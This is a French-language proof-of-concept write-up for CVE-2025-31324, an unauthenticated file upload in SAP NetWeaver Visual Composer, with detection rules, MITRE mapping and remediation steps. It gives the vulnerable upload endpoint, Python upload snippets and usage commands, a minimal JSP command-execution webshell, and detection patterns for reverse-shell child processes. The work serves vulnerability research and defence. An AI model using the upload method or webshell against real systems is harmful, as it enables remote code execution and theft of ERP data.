
Preuve de concept d'exploitation pour CVE-2025-31324, un téléversement de fichier non authentifié dans SAP NetWeaver Visual Composer, avec des conseils de détection, un mapping MITRE et des étapes de remédiation.
Type: Preuve de concept — Recherche de vulnérabilité CVE: CVE-2025-31324 CVSS: 10.0 Critique (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Statut: Corrigé — Note de sécurité SAP 3594142 + 3604119 Ajouté au KEV de la CISA: Mai 2025
⚠️ Ce PoC utilise un fichier JSP bénin (« Hello World ») pour valider la surface d'attaque sans exécuter de code malveillant. Utilisation exclusive dans des environnements autorisés à des fins de pentest et de développement de détections.
Développé par : HKK$ cat ./vulnerability_summary.txtLa vulnérabilité CVE-2025-31324 réside dans le composant Visual Composer Metadata Uploader de SAP NetWeaver AS Java — une faille de contrôle d'autorisation manquant qui permet à tout attaquant non authentifié d'envoyer des requêtes POST vers le point de terminaison /developmentserver/metadatauploader, entraînant un téléversement non restreint de fichiers arbitraires.
La CVE affecte spécifiquement le SAP NetWeaver Visual Composer Framework version 7.50, avec un score CVSS de 10.0 — le maximum possible.
Des acteurs de la menace ont activement exploité cette vulnérabilité de janvier à mai 2025, déployant des webshells persistants sur des centaines de systèmes à travers le monde.
$ cat ./impact.txtEn raison de son fonctionnement avec des privilèges élevés et de sa proximité avec les données ERP, le mouvement latéral vers les piles SAP ABAP ou les bases de données connectées est trivial après l'exploitation.
La chaîne d'exploitation complète lors d'attaques réelles :
Téléversement JSP (CVE-2025-31324)
→ Webshell persistant sur le serveur
→ RCE en tant que processus SAP (privilège élevé)
→ Accès aux données ERP (Finance, RH, Supply Chain)
→ Mouvement latéral vers ABAP / DB
→ Déploiement de frameworks C2 (ex : Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — FLUX D'EXPLOITATION │
│ │
│ ATTAQUANT SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ Corps : fichier JSP/WAR/quelconque ──────► │ Metadata Uploader │ │
│ (sans authentification) │ │ │
│ │ ❌ Sans vérification│ │
│ │ d'auth │ │
│ │ ❌ Sans validation │ │
│ │ d'extension │ │
│ │ ❌ Sans assainissement│ │
│ │ du contenu │ │
│ └────────┬────────────┘ │
│ │ │
│ Fichier enregistré dans : │
│ /irj/root/ ou similaire │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World (PoC bénin) │
│ → Webshell (exploit réel) │
└─────────────────────────────────────────────────────────────────────────┘
Le /developmentserver/metadatauploader fait partie du SAP Visual Composer — un outil de développement low-code permettant aux analystes métier de créer des applications SAP sans code Java. Le point de terminaison a été conçu pour recevoir des modèles de métadonnées pendant le développement. Bien que le composant ne soit pas activé dans la configuration par défaut de NetWeaver, Onapsis a signalé qu'il est largement activé dans les environnements de production.
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
Pourquoi JSP et pas un autre format ?
SAP NetWeaver AS Java exécute une JVM — les fichiers .jsp sont interprétés directement par le conteneur de servlets (Apache Tomcat intégré) sans compilation préalable. Cela fait du JSP le format idéal pour les webshells dans les environnements Java.
Le choix du contenu bénin (« Hello World ») est délibéré pour le PoC :
Lors d'une exploitation réelle, le contenu serait un webshell JSP avec exécution de commandes, ex :
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — Pourquoi ce Content-Type ?files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
Le point de terminaison attend une requête multipart/form-data — le même format utilisé par les formulaires HTML de téléversement de fichiers. Cela est intentionnel dans la conception originale du Visual Composer (téléversement de modèles de développement).
La bibliothèque requests assemble automatiquement les limites du multipart lorsque files= est passé — l'en-tête Content-Type: multipart/form-data; boundary=... est généré en interne.
verify=False : désactive la validation du certificat TLS — nécessaire car les environnements SAP utilisent souvent des certificats auto-signés. En production, utiliser verify='/chemin/vers/ca-bundle.crt'.
https://<hôte>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| Composant | Signification |
|---|---|
:50201 | Port par défaut du SAP ICM (Internet Communication Manager) HTTPS |
/developmentserver/ | Servlet de développement du Visual Composer |
metadatauploader | Point de terminaison spécifique de téléversement de métadonnées |
CONTENTTYPE=MODEL | Type de contenu attendu par le point de terminaison |
CLIENT=1 | Mandant SAP (client) — 000, 100, 001 sont courants |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# Exploitation du point de terminaison /developmentserver/metadatauploader
# sans authentification via HTTP POST
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# Webshell JSP téléversé → exécuté par le conteneur de servlets (Tomcat)
tactic: Persistence
- T1505.003 # Web Shell comme mécanisme de persistance
# Le fichier JSP persiste dans le système de fichiers du serveur entre les redémarrages
tactic: Defense Evasion
- T1036 # Masquerading
# Webshells nommés comme des fichiers SAP légitimes (ex : metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# Post-RCE : énumérer les processus, utilisateurs, chemins SAP
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# Accès à la pile ABAP, bases de données connectées via RCE
tactic: Collection
- T1005 # Data from Local System
# Accès direct aux données ERP (Finance, RH, Supply Chain)
$ cat ./affected_versions.txtProduit : SAP NetWeaver Application Server Java
Composant : Visual Composer Framework
Version : 7.50 (toutes les builds avant le patch d'avril/mai 2025)
Correctifs :
SSN 3594142 → Correctif initial (avril 2025) — atténue le téléversement de fichiers
SSN 3604119 → Correctif de cause racine via CVE-2025-42999 (mai 2025) — traite la cause racine
SSN 3578900, 3620498, 3621771, 3634501 → Notes complémentaires de durcissement
CISA KEV : les CVE-2025-31324 et CVE-2025-42999 ont toutes deux été ajoutées au catalogue
$ cat ./detection_opportunities.md# Règle : POST non authentifié vers le point de terminaison du Metadata Uploader
# Source : journal d'accès SAP Web Dispatcher / ICM
Condition :
- method: POST
- uri_path CONTIENT : /developmentserver/metadatauploader
- auth_header: ABSENT
- body_content_type: multipart/form-data
Sévérité : CRITIQUE — enquêter immédiatement
# Journal SAP ICM — modèle suspect :
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Statut : 200 | Taille : 1337 | Auth : AUCUNE | IP : x.x.x.x
# Règle : GET vers un fichier .jsp créé récemment en dehors des chemins SAP légitimes
Condition :
- method: GET
- uri_path CORRESPOND À : /irj/.*\.jsp
- file_creation_time: < 24h
- file_PAS_DANS : [liste des JSP légitimes connus]
# Processus enfant suspect de la JVM SAP
# Source : Sysmon / création de processus EDR
Condition :
- parent_process: java.exe ou jstart.exe
- child_process: cmd.exe OU powershell.exe OU sh OU bash
- command_line CONTIENT : -c OU .socket OU .call( OU .spawn(
Red Canary a documenté le modèle de détection suivant pour l'exploitation du CVE-2025-31324 dans les environnements Linux : processus python avec l'argument -c combiné avec .socket et .call( ou .spawn( — indicatif d'un reverse shell post-webshell.
# Rechercher les requêtes POST vers le point de terminaison vulnérable sur les 90 derniers jours
# Répertoire des journaux : /usr/sap/<SID>/J<inst>/work/
grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"
# Lister les JSP créés récemment dans le répertoire web
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f
$ cat ./remediation.mdPRIORITÉ : CRITIQUE — Correctif immédiat
1. Vérifier si le composant est actif :
NWA → Configuration → Infrastructure → Java System Properties
Rechercher : com.sap.tc.vccomp.server.vis.jms.VisJmsService
2. S'il n'est pas nécessaire → DÉSACTIVER le Visual Composer :
NWA → Start & Stop → Services → VisualComposer → Stop
3. Appliquer les correctifs obligatoires (dans l'ordre) :
SSN 3594142 ← critique (téléversement de fichiers)
SSN 3604119 ← cause racine (CVE-2025-42999)
SSN 3578900, 3620498, 3660659 (durcissement supplémentaire)
4. Configurer le filtre de sérialisation JVM (post-correctif) :
NWA → JVM Parameters → ajouter un filtre de classes malveillantes
5. Restreindre l'accès réseau au point de terminaison dans le Web Dispatcher / Pare-feu :
BLOQUER : /developmentserver/* pour les IP externes
AUTORISER : uniquement les hôtes de développement autorisés
6. Vérifier les IOC — rechercher les webshells déployés avant le correctif :
Analyser les journaux ICM depuis janvier 2025
Rechercher les fichiers .jsp avec un contenu suspect dans /irj/
$ cat ./usage.sh# Installer la dépendance
pip install requests
# Modifier l'URL dans le script avant l'exécution :
# url = "https://<votre-hôte-lab>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"
# Exécuter
python cve_2025_31324_poc.py
# Vérifier si le téléversement a fonctionné (le fichier doit être accessible)
curl -k https://<hôte>:<port>/irj/hello_world.jsp
# Réponse attendue si vulnérable : HTML avec « Hello World »
# Réponse attendue si corrigé : 404 ou 403
$ cat ./timeline.txtJan 2025 Début de l'exploitation active in-the-wild (détectée rétroactivement)
24 avr. 2025 SAP publie CVE-2025-31324 (CVSS 10.0) + SSN 3594142
28 avr. 2025 La CISA l'ajoute au catalogue des vulnérabilités exploitées connues
29 avr. 2025 Rapid7, Qualys, Red Canary publient des analyses techniques
07 mai 2025 Onapsis + Mandiant (Google Cloud) publient un briefing conjoint
13 mai 2025 SAP publie SSN 3604119 (cause racine via CVE-2025-42999, CVSS 9.1)
15 mai 2025 La CISA ajoute CVE-2025-42999 au catalogue KEV
20 mai 2025 Date limite CISA pour le correctif sur les systèmes fédéraux américains
25 juin 2025 Unit 42 met fin à la surveillance active de la campagne
$ cat ./references.mdCVE : https://www.cve.org/CVERecord?id=CVE-2025-31324
Note SAP : https://me.sap.com/notes/3594142
NVD : https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV : https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis : https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7 : https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42 : https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary : https://redcanary.com/blog/threat-intelligence/cve-2025-31324/
$ cat ./lessons_learned.txt[+] L'absence d'auth sur les points de terminaison de « développement » est un vecteur classique sous-estimé
[+] CVSS 10.0 signifie : sans auth + réseau + RCE complet — le trifecta le plus critique possible
[+] Visual Composer n'est pas par défaut mais était largement actif en production — risque de fonctionnalités fantômes
[+] Le JSP comme webshell est particulièrement furtif : sans compilation, exécuté directement par le conteneur
[+] Les acteurs de la menace ont exploité pendant plus de 3 mois avant la divulgation publique — la détection SOC est critique
[-] verify=False dans le PoC — lors d'un pentest réel, documenter le certificat auto-signé et utiliser verify=chemin
[-] CLIENT=1 codé en dur — la production peut utiliser 000, 100, 200 ; énumérer avant
[-] Le PoC ne vérifie pas si le fichier est resté accessible après le téléversement — ajouter un GET de confirmation
[→] Améliorations : argparse pour hôte/port/client, vérification automatique post-téléversement, sortie en JSON
Recherche CVE · CVSS 10.0 · Corrigé avril/mai 2025 · CISA KEV · Tests autorisés uniquement